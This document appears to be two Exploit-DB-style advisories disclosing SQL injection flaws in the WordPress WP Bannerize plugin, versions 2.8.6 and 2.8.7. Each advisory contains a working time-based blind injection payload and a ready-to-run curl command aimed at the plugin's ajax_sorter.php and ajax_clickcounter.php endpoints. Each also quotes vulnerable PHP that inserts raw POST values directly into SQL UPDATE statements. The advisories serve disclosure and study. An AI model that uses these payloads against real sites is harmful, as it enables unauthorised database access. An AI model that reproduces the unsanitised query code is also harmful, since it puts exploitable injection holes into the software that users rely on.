# Exploit Title: WordPress WP Bannerize plugin <= 2.8.7 SQL Injection Vulnerability
# Date: 2011-09-22
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.7 (tested)
 
---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
 limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
 
e.g.
curl --data "limit=1&offset=1&item[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)" -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_sorter.php
 
---------------
Vulnerable code
---------------
if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    ...
    $limit = intval($_POST['limit']);
    $page_offset = (intval($_POST['offset']) - 1) * $limit;
 
    foreach($_POST["item"] as $key => $value){
        $sql = sprintf("UPDATE `%s` SET `sorter` = %s WHERE id = %s", $wpdb->prefix ."bannerize_b", (intval($key)+$page_offset ), $value );
        $result = mysql_query($sql);
    }
}

# Exploit Title: WordPress WP Bannerize plugin <= 2.8.6 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-bannerize.zip
# Version: 2.8.6 (tested)
 
---
PoC
---
curl --data "id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)-- " -H "X-Requested-With:XMLHttpRequest" http://www.site.com/wp-content/plugins/wp-bannerize/ajax_clickcounter.php
 
---------------
Vulnerable code
---------------
if ( @isset($_SERVER['HTTP_X_REQUESTED_WITH']) ) {
    ...
    $sql = "UPDATE `" . $wpdb->prefix ."bannerize_b` SET `clickcount` = `clickcount`+1 WHERE id = " . $_POST['id'];
    $result = mysql_query($sql);